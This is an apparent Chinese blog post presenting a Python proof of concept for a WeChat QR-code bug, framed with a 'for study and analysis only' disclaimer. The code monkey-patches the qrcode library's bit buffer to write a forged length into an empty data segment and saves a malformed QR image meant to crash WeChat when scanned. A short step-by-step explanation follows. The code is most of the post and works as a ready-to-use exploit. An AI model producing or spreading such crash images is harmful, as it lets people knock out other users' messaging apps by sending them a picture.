注:代码可能带有破坏性,仅用于学习,分析用途。
微信崩溃了?微信最新版二维码Bug,不知道问题在哪里。使用下面代码,轻松帮你复现。
安装qrcode
pip isntall qrcode
import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE
def nvwu_put(self, num, length):
if num == 0:
num = 233 # 制造一个伪造的长度
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = nvwu_put
def anquannvwu():
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# 确保所有数据都适应这个版本的最大内容长度
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# 添加一个零长度的数据,使得数据的长度为233
qr.add_data(hack_data)
img = qr.make_image()
img.save("./poc1.png")
if __name__ == "__main__":
anquannvwu()
上面的代码做了以下工作:
-
创建一个新的QR码,纠错等级为M,掩码模式为0。
-
创建一个新的QR数据,字符串为’1145141’,模式为MODE_NUMBER。
-
创建一个新的QR数据,字符串为’.',模式为MODE_8BIT_BYTE。
-
创建一个新的QR数据,字符串为空,模式为MODE_8BIT_BYTE。
该代码演示了一个可能导致微信崩溃的二维码Bug。通过修改qrcode库中的BitBuffer.put方法,创建包含特定数据模式和长度的QR码,可以复现此问题。代码首先创建不同类型的QR数据,然后添加到QR码中,最后保存为图片。此行为可能触发微信对二维码解析的异常,从而导致应用崩溃。
752

被折叠的 条评论
为什么被折叠?



